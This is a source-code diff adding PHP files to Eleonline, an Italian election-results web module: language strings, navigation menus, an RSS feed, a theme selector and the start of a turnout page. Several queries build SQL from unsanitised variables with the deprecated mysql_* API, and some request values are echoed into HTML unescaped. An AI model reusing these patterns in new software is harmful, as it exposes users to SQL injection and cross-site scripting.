+define("_ADMINLINK","Links Utili - Amministrazione");
+// Note
+define("_ENTE","Comune di Guidonia Montecelio (Provincia di Roma)");
+define("_NOTACSV","Note: I dati sono estratti dal sito del ");
+define("_DISC1","Ogni rappresentazione ed uso e' consentita citando la fonte dei dati");
+define("_SITO","http://www.guidonia.org ");
+// Copyright
+define("_SORALDO","SorAldo: Modulo elettorale");
+define("_VERS","versione 0.3 beta ");
+define("_BYNOI","di Luciano Apolito e Roberto Gigli");
+define("_EMAILBY","Email: luciano@aniene.net - rgigli@libero.it");
+define("_NON","Non");
+define("_EXPORT","Esporta");
+define("_TABULA","(formato con tabulazione)");
+define("_GRAFICI","Grafici ");
+define("_ALL","Tutti ");
+define("_MAIN","Qui sono e saranno presenti i dati e i risultati delle
+consultazioni elettorali svolte nel ");
+define("_THEMES","Tema Grafico");
+define("_ACTIVE","Attivo ");
+define("_BLOCCHI","Blocchi laterali");
+define("_BLOCKS","Blocchi");
+define("_MENUCONF","Menu di configurazione dell'aspetto grafico del sito");
+define("_GESFILE","Gestione Files Immagini");
+define("_LOGO","Immagine o logo");
+define("_ELETTORI","Elettori");
+define("_ORDINE","Ordine");
+define("_MAPPA","Mappa");
+define("_COMUNE","Comune di ");
+define("_DISCLAIMER","Dati Provvisori suscettibili di modifica. I dati hanno puramente titolo informativo");
+define("_COME","Come si vota");
+define("_NUMERI","Numeri Utili");
+define("_SERVIZI","Servizi");
+define("_LINK","Link utili");
+define("_DATI","Dati Generali");
+define("_SINGOLA","singola sede elettorale");
+define("_INIZIALI","Iniziali del Cognome");
+//define("_ALL","Tutti");
+define("_SCELTA_CIR","Scegli la Circoscrizione");
+define("_CIRC_N","Circoscrizione n. ");
+define("_PERC","Percentuale");
+define("_VER_GRAF","Versione Grafica");
+define("_VER_STAMPA","Versione Stampa");
+define("_VER_FLASH","Grafica Flash");
+define("_VER_HTML","Grafica Statica");
+//define("_DETTAGLIO","Dettaglio");
+define("_ISCR_SEZ","Iscritti<br />nella sezione");
+define("_CONFRONTI","Raffronti");
+define("_ALTROGRP","Altri");
+define("_GRUPPO1","Gruppo 1");
+define("_GRUPPO2","Gruppo 2");
+define("_SCELTA_LISTE","ASSEGNA LE LISTE AI RAGGRUPPAMENTI");
+define("_ALTRI","Altri sotto il 3%");
+define("_CNFR_CONS","RAFFRONTO TRA CONSULTAZIONI<br/>si puï¿œ impostare su liste singole o su raggruppamenti");
+define("_SCELTA_CONS","<b>Scegli le consultazioni da mettere a confronto</b>");
+
+
+
+// Contatti
+define("_SEND","Invia");
+define("_YOURNAME","Nome");
+define("_MESSAGE","Il Messaggio");
+define("_YOUREMAIL","Email");
+define("_FEEDBACKNOTE","
+Attraverso questo form potrai richiedere all'Ente informazioni ed inviare commenti e proposte migliorative al software ed al servizio.
+Ogni commento in merito sara' ben accetto. Grazie!");
+define("_FEEDBACKTITLE","Proposte e contatti");
+define("_FEEDBACK","Contatti");
+define("_FBENTERNAME","Nominativo mancante, grazie!");
+define("_FBENTEREMAIL","Indirizzo email mancante, grazie!");
+define("_FBENTERMESSAGE","Nessun messaggio immesso, grazie!");
+define("_SENDEREMAIL","Email dell'utente");
+define("_SENDERNAME","Nome dell'utente");
+define("_FBMAILSENT","Il messaggio e' stato inviato!");
+define("_FBTHANKSFORCONTACT","Grazie per averci contattato. ");
+define("_GESRIS","gestione risultati elettorali");
+define("_INVIOSEGN","Per rendere questo servizio piu' efficiente puoi inviare segnalazioni e suggerimenti a");
+define("_CLICCAQUI","questo indirizzo");
+define("_GOBACK","[ <a href=\"javascript:history.go(-1)\">Indietro</a> ]");
+
+?>
+
+
Index: /trunk/elezioni/trunk/client/modules/Elezioni/menu.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/menu.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/menu.php	(revision 44)
@@ -0,0 +1,235 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+/************************
+Funzione Menu a cascata
+*************************/
+
+        
+        // definizione variabile per button 'ok' nei form per il noscript
+	$button="<br /><object><noscript><div><input name=\"vai\" type=\"image\" src=\"modules/Elezioni/images/ok2.jpg\" alt=\"ok\" title=\"ok\" /></div></noscript></object>";
+	
+	$sqlcomu="select descrizione,fascia from ".$prefix."_ele_comuni where id_comune=$id_comune";
+	$rescomu= mysql_query("$sqlcomu",$dbi);
+	list($descr_com,$fascia)=mysql_fetch_row($rescomu);
+        
+	
+       
+        // inizio tabella
+	echo "<table  class=\"table-main\"> <tr>";
+	
+	/*********************************** 
+		Scelta Comune
+	***********************************/
+	
+	if ($multicomune=='1')
+	{
+	      $sqlcomu="select t1.id_comune,t1.descrizione,count(0) from ".$prefix."_ele_comuni as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_comune=t2.id_comune and t2.chiusa<2 group by t1.id_comune,t1.descrizione order by t1.descrizione asc";
+	      $rescomu= mysql_query("$sqlcomu",$dbi);
+	      $esiste_multi=mysql_num_rows($rescomu);
+	      if ($esiste_multi>=1) {
+		echo "	<td>
+			    <form id=\"comuni\" method=\"post\" action=\"modules.php\">
+			    <div><label class=\"blu\" for=\"comuni\">
+			    <input type=\"hidden\" name=\"name\" value=\"Elezioni\" />
+			    <input type=\"hidden\" name=\"op\" value=\"gruppo\" />
+			    <input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\" />
+			    <input type=\"hidden\" name=\"info\" value=\"$info\" />
+			    <input type=\"hidden\" name=\"pag\" value=\"/modules.php?id_cons_gen=\" />
+			    <input type=\"hidden\" name=\"file\" value=\"index\" />
+			    <select name=\"op\" class=\"moduloform\" onchange=\"javascript:top.location.href='modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=gruppo&amp;file=index&amp;id_comune='+this.options[this.options.selectedIndex].value\">
+			";
+			
+		while (list($id,$descrizione,)=mysql_fetch_row($rescomu)){
+			    $sel=($id == $id_comune) ? "selected=\"selected\"":"";
+			    echo "<option value=\"$id\" $sel >$descrizione</option>";
+			}
+	
+			    echo "</select>$button</label></div></form></td>";
+	  }
+	} // fine scelta comune
+	
+	
+	
+	/*********************************** 
+		Scelta Consultazione
+	***********************************/
+	
+	
+        echo "<td  >";
+	$res = mysql_query("SELECT t1.id_cons_gen,t1.descrizione FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_comune='$id_comune' and t2.chiusa!='2' order by t1.data_fine desc" , $dbi); 
+	$esiste=mysql_num_rows($res);
+	//se esiste consultazione fa vedere i dati
+	if ($esiste>=1) {	
+	    echo "
+		<form id=\"consultazione\" method=\"post\" action=\"modules.php\">
+		<div><label for=\"consultazione\" class=\"blu\">
+		<input id=\"modulo\" type=\"hidden\" name=\"name\" value=\"Elezioni\" />
+      		<input type=\"hidden\" name=\"op\" value=\"gruppo\" />
+		<input type=\"hidden\" name=\"minsez\" value=\"$minsez\" />
+		<input type=\"hidden\" name=\"offsetsez\" value=\"$offsetsez\" />
+		<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\" />
+      		<input type=\"hidden\" name=\"prima\" value=\"1\" />
+		<select name=\"id_cons_gen\" class=\"moduloform\" onchange=\"javascript:top.location.href='modules.php?op=gruppo&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;id_cons_gen='+this.options[this.options.selectedIndex].value\">";
+	
+	    while(list($id,$descrizione) = mysql_fetch_row($res)) {
+		
+     		$sel = ($id == $id_cons_gen) ? "selected=\"selected\"":"";		
+	        echo "<option value=\"$id\" $sel >$descrizione</option>";
+	    }
+ 
+	    echo "</select>$button</label></div></form></td>";
+	
+
+
+
+
+
+	/*********************************** 
+		Scelta Info
+	***********************************/
+        
+        echo "<td>";
+	
+	
+	echo "
+		<form id=\"info\" method=\"post\" action=\"modules.php\">
+		<div><label class=\"blu\" for=\"info\">
+     		<input type=\"hidden\" name=\"name\" value=\"Elezioni\" />
+      		<input type=\"hidden\" name=\"op\" value=\"come\" />
+      		<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\" />
+       		<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\" />
+       		<input type=\"hidden\" name=\"file\" value=\"index\" />
+		<select name=\"op\" class=\"moduloform\" onchange=\"javascript:top.location.href='modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;op=come&amp;id_comune=$id_comune&amp;file=index&amp;info='+this.options[this.options.selectedIndex].value\">";		
+
+		echo "<option value=\"\" >----- "._INFO."</option>";
+	
+		$temp = array('confronti'=>'','come'=>'','numeri'=>'','servizi'=>'','link'=>'','dati'=>'','affluenze_sez'=>'','votanti'=>'');
+		$temp[$info]='selected="selected"';
+	 	echo "<option value=\"confronti\" ".$temp['confronti']." >"._CONFRONTI."</option>";  
+	 	echo "<option value=\"come\" ".$temp['come']." >"._COME."</option>";  
+	 	echo "<option value=\"numeri\" ".$temp['numeri']." >"._NUMERI."</option>";  
+	 	echo "<option value=\"servizi\" ".$temp['servizi']." >"._SERVIZI."</option>"; 
+		echo "<option value=\"link\" ".$temp['link']." >"._LINK."</option>";
+	 	echo "<option value=\"dati\" ".$temp['dati']." >"._DATI."</option>";
+	 	 // tolte per circo da mettere bene
+		 echo "<option value=\"affluenze_sez\" ".$temp['affluenze_sez']." >"._AFFLUENZE."</option>";
+		echo "<option value=\"votanti\" ".$temp['votanti']." >"._VOTANTI."</option>";
+      		
+                echo "</select>$button
+			</label></div></form></td>";
+		unset ($temp);
+		/*********************************** 
+		Scelta Dati
+		***********************************/
+ 	$res = mysql_query("SELECT count(0) FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons' ", $dbi);
+	list($num_circ) = mysql_fetch_row($res);
+       	 
+        	echo "<td>";
+	
+		echo "<form id=\"risultati\" method=\"post\" action=\"modules.php\">
+		<div><label class=\"blu\" for=\"risultati\">";   //._RISULTATI;
+      		echo "<input type=\"hidden\" name=\"name\" value=\"Elezioni\" />
+      			<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\" />
+       			<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\" />
+       			<input type=\"hidden\" name=\"file\" value=\"index\" />
+			<select name=\"op\" class=\"moduloform\" onchange=\"javascript:top.location.href='modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op='+this.options[this.options.selectedIndex].value\">";	
+
+		echo "<option value=\"\" >----- "._RISULTATI."</option>"; 
+		$temp = array('gruppo_circo'=>'','gruppo_sezione'=>'','lista_circo'=>'','lista_sezione'=>'','candidato_circo'=>'','candidato_sezione'=>'','consiglieri'=>'');
+		$temp[$op]='selected="selected"';
+		
+		if ($genere!=4) {
+			if (!$circo and $num_circ>1)
+	 			echo "<option value=\"gruppo_circo\" ".$temp['gruppo_circo'].">".substr(_GRUPPO." "._PER." "._CIRCO,0,33)."</option>";
+	 		echo "<option value=\"gruppo_sezione\" ".$temp['gruppo_sezione'].">".substr(_GRUPPO." "._PER." "._SEZIONI,0,33)."</option>";
+		}
+		if (!$votol and $fascia>$limite){ // si vota per la lista
+			if ($genere>2) {
+				if (!$circo and $num_circ>1)
+			              echo "<option value=\"lista_circo\" ".$temp['lista_circo']." >".substr(_LISTA." "._PER." "._CIRCO,0,33)."</option>";
+			        echo "<option value=\"lista_sezione\" ".$temp['lista_sezione']." >".substr(_LISTA." "._PER." "._SEZIONI,0,33)."</option>";
+			      }
+		    	  
+		}
+		
+		if ($genere>3 and !$votoc) {
+				if (!$votoc){
+			      		if(!$circo and $num_circ>1)
+					echo "<option value=\"candidato_circo\" ".$temp['candidato_circo']." >".substr(_CONSI." "._PER." "._CIRCO,0,33)."</option>";
+				echo "<option value=\"candidato_sezione\" ".$temp['candidato_sezione']." >".substr(_CONSI." "._PER." "._SEZIONI,0,33)."</option>";
+				
+			}
+      		}
+		if ($hondt>=1) {
+					echo "<option value=\"consiglieri\" ".$temp['consiglieri']." >"._CALCONS."</option>";
+				
+			
+      		}		
+		echo "</select>$button
+			</label></div></form></td>";
+		unset ($temp);
+
+
+	/*********************************** 
+		Scelta Grafici
+	***********************************/
+        
+        echo "<td >";
+
+		$temp = array('affluenze_graf'=>'','graf_votanti'=>'','graf_gruppo'=>'','graf_lista'=>'','graf_candidato'=>'');
+		if(!isset($visgralista))
+			$temp[$op]='selected="selected"';
+		else $temp['graf_lista']='selected="selected"';
+		#	<div><label class=\"blu\" for=\"grafici\">"._GRAFICI."
+		
+		echo "<form id=\"grafici\" method=\"post\" action=\"modules.php\">
+			<div><label class=\"blu\" for=\"grafici\">
+      			<input type=\"hidden\" name=\"name\" value=\"Elezioni\" />
+      			<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\" />
+       			<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\" />
+       			<input type=\"hidden\" name=\"file\" value=\"index\" />
+			<select name=\"op\" class=\"moduloform\" onchange=\"javascript:top.location.href='modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index&amp;op='+this.options[this.options.selectedIndex].value\">";
+		echo "<option value=\"\" >----- "._GRAFICI."</option>";
+	 
+	 	echo "<option value=\"affluenze_graf\" ".$temp['affluenze_graf']." >"._AFFLUENZE."</option>";
+		echo "<option value=\"graf_votanti\" ".$temp['graf_votanti']." >"._VOTI."</option>";
+#inutile	 	if($genere!=4 || $tipo_cons==8)
+	 		echo "<option value=\"graf_gruppo\" ".$temp['graf_gruppo']." >"._GRUPPO."</option>";
+	 		if($genere==5)
+	 		echo "<option value=\"graf_gruppo&amp;visgralista=1\" ".$temp['graf_lista'].">"._LISTA."</option>";
+		if ($genere>3){
+			if (!$circo && !$votog)	 
+	 		echo "<option value=\"graf_candidato\" ".$temp['graf_candidato']." >"._CONSI."</option>";
+		}
+		unset ($temp);
+	 
+   		echo "</select>$button
+			</label></div></form></td>";
+
+	} // fine verifica esistenza consultazione : variabile $esiste
+	  
+
+
+           ################ tema ##### 
+            if ($tema_on=="1"){
+	   	echo "<td>";
+           	include("modules/Elezioni/tema.php");		
+	   	echo "</td>";	
+	   }	
+
+
+      		echo "</tr></table>";
+
+
+	
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/rss.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/rss.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/rss.php	(revision 44)
@@ -0,0 +1,191 @@
+<?php
+
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Ultima modifica 22 aprile 2008 */
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ?
+	$_GET : $_POST;
+
+
+
+header("Content-Type: text/xml");
+
+// data
+$gmtdiff = date("O", time());
+$gmtstr = substr($gmtdiff, 0, 3) . ":" . substr($gmtdiff, 3, 9);
+$now = date("Y-m-d\TH:i:s", time());
+$now = $now . $gmtstr;
+// comune
+$res = mysql_query("SELECT descrizione FROM ".$prefix."_ele_comuni where id_comune='$id_comune' ", $dbi);
+	list($descr_com) = mysql_fetch_row($res);
+
+
+
+echo "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n";
+echo "<rss version=\"2.0\" \n";
+echo "  xmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n";
+echo "  xmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n";
+echo "  xmlns:admin=\"http://webns.net/mvcb/\"\n";
+echo "  xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n\n";
+echo "<channel>\n";
+echo "<title>".htmlspecialchars($descr_com)." - $descr_cons</title>\n";
+echo "<link>".htmlspecialchars($siteurl)."</link>\n";
+echo "<description>".$sitename."</description>\n";
+echo "<dc:language>it-IT</dc:language>\n";
+echo "<dc:creator>".$adminmail."</dc:creator>\n";
+echo "<dc:date>".$now."</dc:date>\n\n";
+echo "<sy:updatePeriod>hourly</sy:updatePeriod>\n";
+echo "<sy:updateFrequency>1</sy:updateFrequency>\n";
+echo "<sy:updateBase>".$now."</sy:updateBase>\n\n";
+
+list ($gruppo,$pro)=grupporss();
+
+
+for($x=0;$x<count($gruppo);$x++){
+
+    // format: 2004-08-02T12:15:23-06:00
+    $date = date("Y-m-d\TH:i:s", strtotime($time));
+    $date = $date . $gmtstr;
+    
+    echo "<item>\n";
+    echo "<title>".$gruppo[$x]." ".$pro[$x] ."% </title>\n";
+    echo "<link>$siteurl/modules.php?id_cons_gen=$id_cons_gen&amp;name=Elezioni&amp;id_comune=$id_comune&amp;file=index</link>\n";
+    
+    echo "<description><![CDATA[".$vuota."]]></description>\n";
+
+	
+
+
+
+    //echo "<guid isPermaLink=\"false\">noreply@ciao.it</guid>\n";
+    echo "<dc:subject>".$titolo."</dc:subject>\n";
+    echo "<dc:date>".$date."</dc:date>\n";
+    echo "<dc:creator>Postato da ".$sitename."</dc:creator>\n";
+    echo "</item>\n\n";
+}
+
+echo "</channel>\n";
+echo "</rss>\n";
+
+
+
+
+// gruppo
+function grupporss(){
+global $admin, $bgcolor1, $bgcolor5, $prefix, $dbi, $offset, $min,$descr_cons,$genere,$votog,$votol,$votoc,$circo, $id_cons,$id_cons_gen,$id_comune,$id_circ,$tipo_cons,$w,$l,$op,$siteistat,$flash;
+
+
+	
+	
+	if ($genere!=0){$tab="ele_voti_gruppo";}
+	if ($genere==4){$tab="ele_voti_lista";}
+	if ($votog){$tab="ele_voti_lista";}
+	$res = mysql_query("select *  from ".$prefix."_$tab where id_cons='$id_cons' group by id_sez ",$dbi);
+	
+	if ($res) $numero=mysql_num_rows($res);else $numero=0;
+	$res = mysql_query("select t2.*  from ".$prefix."_ele_sezioni as t2, ".$prefix."_ele_sede as t1 where t2.id_cons='$id_cons' and t1.id_sede=t2.id_sede $circondt1",$dbi);
+	if ($res) $sezioni=mysql_num_rows($res);else $sezioni=0;
+	
+	if ($numero>0){
+		if ($genere!=0){
+		// tot voti
+			if (!$circo) 
+				$restotv = mysql_query("select sum(voti)  from ".$prefix."_$tab where id_cons=$id_cons ",  $dbi);
+			if ($votog) 
+				$restotv = mysql_query("select sum(voti)  from ".$prefix."_ele_voti_lista where id_cons=$id_cons ",  $dbi);	
+			list($tot)  = mysql_fetch_row($restotv);
+			
+			$i=0;
+			// lista o gruppo
+			if ($genere!=4){
+			         
+				if ($votog){
+				
+				$res = mysql_query("select t1.id_gruppo, t1.num_gruppo, t1.descrizione, sum(t2.voti) as somma
+				from ".$prefix."_ele_gruppo as t1,
+				".$prefix."_ele_voti_lista as t2,
+				".$prefix."_ele_lista as t3
+        			where 	t1.id_cons='$id_cons'
+				and t2.id_lista=t3.id_lista
+				and t1.id_gruppo=t3.id_gruppo
+				group by t1.id_gruppo
+				order by somma desc", $dbi);$cosa='id_gruppo';
+				
+				}else{
+				
+			
+			        $res = mysql_query("select t1.id_gruppo, t1.num_gruppo, t1.descrizione, sum(t2.voti) as somma
+				from ".$prefix."_ele_gruppo as t1
+        			left join ".$prefix."_$tab as t2 on (t1.id_gruppo=t2.id_gruppo)
+				where 	t1.id_cons='$id_cons' and t1.id_cons=t2.id_cons $circondt1
+				group by t2.id_gruppo
+				order by somma desc", $dbi);$cosa='id_gruppo';
+			       }
+			
+			
+			}else{
+				$res = mysql_query("select t1.id_lista, t1.num_lista, t1.descrizione, sum(t2.voti) as somma
+				from ".$prefix."_ele_lista as t1
+        		left join ".$prefix."_$tab as t2 on (t1.id_lista=t2.id_lista)
+				where 	t1.id_cons='$id_cons' and t1.id_cons=t2.id_cons
+				group by t2.id_lista
+				order by somma desc", $dbi);$cosa='id_lista';
+			}
+
+		
+					
+				$gruppinum=mysql_num_rows($res);
+				$altrivoti=0;
+				while (list($id,$num,$descrizione,$voti)  = mysql_fetch_row($res)){
+
+				
+				
+				// funz per il taglio corretto della frase 13 feb 2007
+				
+				$gruppo[$i]=substr($descrizione,0,25);
+				
+				//if (strlen($descrizione)>25) $gruppo[$i].="...";
+				
+				$pro[$i]=number_format($voti*100/$tot,2);
+				
+
+
+					
+				
+
+
+			
+		       
+			$i++;
+		}
+		
+
+
+		
+		$titolo=""._PERCE." "._VOTIE."";
+		
+		
+		
+
+		
+		
+
+		return array($gruppo,$pro);
+                
+               
+
+	  }
+
+	}
+
+
+}
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/tema.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/tema.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/tema.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+if (!defined('MODULE_FILE')) {
+    die ("Non puoi accedere al file direttamente...");
+}
+global $id_circ;
+
+	if (! isset($content)) $content="";
+	if (! isset($tlist)) $tlist="";
+	
+	$content .="
+	<div class=\"form\">
+	<form action=\"modules.php\" method=\"post\">
+     	<select name=\"tema\" class=\"moduloform\" onchange=\"javascript:top.location.href='modules.php?name=Elezioni&amp;id_comune=$id_comune&amp;id_cons_gen=$id_cons_gen&amp;op=$op&amp;id_circ=$id_circ&amp;tema='+this.options[this.options.selectedIndex].value\">";
+	
+        
+	$path = "temi/";
+	$handle=opendir($path);
+    	while ($file = readdir($handle)) {
+
+			if ( (preg_match('/^([_0-9a-zA-Z]+)([_0-9a-zA-Z]{3})$/',$file)) ) {
+
+		   $tlist .= "$file ";
+		}
+   	}
+
+    	closedir($handle);
+    	$tlist = explode(" ", $tlist);
+    	sort($tlist);
+    	for ($i=0; $i < sizeof($tlist); $i++) {
+		if(($tlist[$i]!="") && ($tlist[$i]!="language")) {
+	    		if ($tema == $tlist[$i]) {
+				$sel = "selected";
+	    		} else {
+				$sel = "";
+	    		}
+
+				$files=$tlist[$i];
+	    	$content .="<option name=\"tema\" value=\"$tlist[$i]\" $sel>Tema--->$files\n";
+
+		}
+    	}
+	$content .="</select>
+	
+	</form>
+	</div>";
+echo $content;
+
+     
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/votanti.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/votanti.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/votanti.php	(revision 44)
@@ -0,0 +1,325 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+if (!defined('MODULE_FILE')) {
+    die ("Non puoi accedere al file direttamente...");
+}
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ?
+	$_GET : $_POST;
+
+
+
+$id_comune= (isset($param['id_comune'])) ? $param['id_comune']:$siteistat;
+if (isset($param['id_cons_gen'])) $id_cons_gen=intval($param['id_cons_gen']); else $id_cons_gen='';
+if (isset($param['op'])) $op=$param['op']; else $op='';
+if (isset($param['minsez'])) $minsez=intval($param['minsez']); else $minsez='';
+if (isset($param['id_lista'])) $id_lista=intval($param['id_lista']); else $id_lista='';
+if (isset($param['id_circ'])) $id_circ=intval($param['id_circ']); else $id_circ='';
+if (isset($param['csv'])) $csv=intval($param['csv']); else $csv='';
+if (isset($param['min'])) $min=intval($param['min']); else $min= 0;
+if (isset($param['orvert'])) $orvert=intval($param['orvert']); else $orvert='';
+if (isset($param['offset'])) $offset=intval($param['offset']); else $offset='';
+if (isset($param['offsetsez'])) $offsetsez=intval($param['offsetsez']); else $offsetsez='';
+if (isset($param['perc'])) $perc=$param['perc']; else $perc='';
+if (isset($param['info'])) get_magic_quotes_gpc() ? $info=$param['info']:$info=addslashes($param['info']); else $info='';
+if (isset($param['files'])) get_magic_quotes_gpc() ? $files=$param['files']:$files=addslashes($param['files']); else $files='';
+if (isset($param['voti_lista'])) $voti_lista=intval($param['voti_lista']); else $voti_lista= 0;
+if (isset($param['perc_lista'])) $perc_lista=$param['perc_lista']; else $perc_lista= 0;
+if (isset($param['lettera'])) get_magic_quotes_gpc() ? $lettera=$param['lettera']:$lettera=addslashes($param['lettera']); else $lettera='';
+if (isset($param['id_gruppo'])) $id_gruppo=intval($param['id_gruppo']); else $id_gruppo='';
+if (isset($param['tipo_cons'])) $tipo_cons=intval($param['tipo_cons']); else $tipo_cons='';
+# anti-xss nov. 2009 
+$id_comune=htmlentities($id_comune);
+$perc=floatval($perc);
+$perc_lista=floatval($perc_lista);
+$datipdf= htmlentities($datipdf);
+$op= htmlentities($op);
+$info= htmlentities($info);
+$files=htmlentities($files);
+$lettera=htmlentities($lettera);
+
+$id_comune=intval($id_comune);
+
+
+//$id_cons_gen=$_GET['id_cons_gen'];
+$res = mysql_query("SELECT t1.tipo_cons,t3.genere,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2, ".$prefix."_ele_tipo as t3 where t1.tipo_cons=t3.tipo_cons and t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+list($tipo_cons,$genere,$id_cons) = mysql_fetch_row($res);
+
+if (isset($param['ops'])) $ops=$param['ops']; else $ops='';
+if (isset($param['pag'])) $pag=$param['pag']; else $pag=0;
+if (isset($param['num_ref'])) $num_ref=$param['num_ref'];
+if (isset($param['num_refs'])) $num_refs=$param['num_refs'];
+$bgcolor2='#cacaca';
+//**************************************************************************
+//        ELE
+//**************************************************************************
+//controllo_finale($id_cons);
+
+global $prefix, $dbi,$id_circ,$lang;
+
+include_once("modules/Elezioni/language/lang-$lang.php");
+# testata
+
+if($csv==1){
+	include_once("modules/Elezioni/funzioni.php");
+	
+	$res = mysql_query("SELECT descrizione FROM ".$prefix."_ele_comuni where id_comune='$id_comune' ", $dbi);
+	list($descr_com) = mysql_fetch_row($res);
+        $descr_com =stripslashes($descr_com); 
+	$datipdf .= "<div style=\"margin:0px auto; text-align:center;\">";
+	$siteistat=$id_comune;
+	if($xls!=1) $datipdf .= "<table><tr><td><img src=\"modules.php?name=Elezioni&amp;file=foto&amp;id_comune=".$id_comune."\" alt=\"mappa\" /></td><td>";
+        $datipdf .= ""._COMUNE." $descr_com <br/>
+	"._RISULTA." "._CONSULTA."<br/>";
+	$datipdf .= "<h1>$descr_cons</h1>"._DISCLAIMER."";
+	if($xls!=1) $datipdf .=  "</td></tr></table>";
+	$datipdf .="</div>";
+	  
+
+
+
+
+
+}
+
+
+    
+    // icone stampa e grafici
+	if ($csv!=1){
+	if (!isset($html)) $html='';
+	$html .= "<div>
+	<a href=\"modules.php?name=Elezioni&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;op=graf_votanti\">
+	"._VER_GRAF." <img class=\"image\" src=\"modules/Elezioni/images/grafici.png\" alt=\"\" /></a>
+	 <a href=\"modules.php?name=Elezioni&amp;op=come&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=votanti&amp;csv=1&amp;pag=$pag\">"._VER_STAMPA."
+	<img class=\"image\" src=\"modules/Elezioni/images/printer.png\" alt=\"\" /></a>
+	<a href=\"modules.php?name=Elezioni&amp;op=come&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;info=votanti&amp;xls=1&csv=1;&amp;pag=$pag\">
+		<img class=\"image\" src=\"modules/Elezioni/images/csv.gif\" alt=\"\" /></a>
+
+
+	</div>";
+	}
+       
+    
+    
+	$res = mysql_query("SELECT sum(maschi),sum(femmine) FROM ".$prefix."_ele_sezioni where id_cons='$id_cons'", $dbi);
+	list($totm,$totf) = mysql_fetch_row($res);
+	$totel=$totm+$totf;
+	if (!IsSet($pag)) {$pag=0;} //inizializza il numero di pagina 
+	if (!IsSet($num_ref)) { 
+		$num_ref=1;
+		$resg = mysql_query("SELECT id_gruppo from ".$prefix."_ele_gruppo where id_cons=$id_cons", $dbi);
+		$num_refs= mysql_num_rows($resg); //quante pagine?
+	}
+	if(($genere!=4) and $pag==0){ //diverso da liste a piu' candidati
+		$ops=4;	//gestione gruppi (anche liste uninominali)
+	}else{
+		$ops=3; //gestione liste
+	}
+	
+	$resg = mysql_query("SELECT id_gruppo,num_gruppo from ".$prefix."_ele_gruppo where id_cons=$id_cons and num_gruppo=$num_ref", $dbi);
+	list($idg,$numg) = mysql_fetch_row($resg);
+	$res = mysql_query("SELECT id_sez,num_sez,t1.id_sede as id_sede,t2.id_circ as id_circ FROM ".$prefix."_ele_sezioni as t1,".$prefix."_ele_sede as t2 where t1.id_cons='$id_cons' and t1.id_sede=t2.id_sede order by num_sez ", $dbi);
+	$max = mysql_num_rows($res); //quante sezioni?
+	$res = mysql_query("SELECT id_sez,num_sez,t1.id_sede as id_sede,t2.id_circ as id_circ FROM ".$prefix."_ele_sezioni as t1,".$prefix."_ele_sede as t2 where t1.id_cons='$id_cons' and t1.id_sede=t2.id_sede order by num_sez ", $dbi);
+	$num_sez = mysql_num_rows($res); //quante sezioni?
+	for ($i=1;$i<=$num_sez;$i++){
+		$sezione[$i]=mysql_fetch_array($res, 3); //inizializza l'array delle sezioni
+		$ar[$i]=0;
+	}
+	$tab3="_ele_voti_lista";
+	if ($genere>0) {  //se non e' un referendum
